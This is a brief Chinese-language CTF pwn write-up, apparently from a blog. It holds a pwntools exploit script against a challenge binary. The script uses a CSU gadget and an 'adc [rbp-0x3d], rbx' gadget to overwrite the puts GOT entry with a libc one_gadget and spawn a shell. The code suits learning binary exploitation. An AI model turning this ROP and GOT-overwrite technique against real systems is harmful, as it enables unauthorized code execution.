前面的思路和官方wp一样,后面我利用了一个magic gadget,省去了栈迁移的繁琐
from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
def choose(num):
p.sla(b'> ',str(num))
offset1=0x002528
choose(1)
p.sla(b'!?\n',str(offset1))
choose(2)
choose(5)
choose(0x602058)
choose(3)
opcode=0x00000000004009d8
onegadget=[0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
offset=onegadget[0]-libc.symbols['puts']
if offset<0:
offset=2 ** 64 + offset
payload=b'a'*0xa8+p64(0x00000000040145A)+p64(offset)+p64(elf.got['puts']+0x3d)+p64(0)*4+p64(opcode)+p64(elf.plt['puts'])+p64(0)*2
# p.debug()
p.sd(payload)
p.sd('exec 1>& 0')
p.ia()
'''
这段脚本有概率打通,不稳定,打通后仍然会显示EOF,因为close(2)了
执行exec 1>& 0理论上就能回显了,但我本地不回显,估计是环境的问题
'''
magic_gadget是adc [rbp-0x3d],rbx
利用csu控制rbx和rbp即可调用这段gadget,直接把puts改成onegadget就可以了,最近写博客有点累了,感兴趣的拿着exp自己研究吧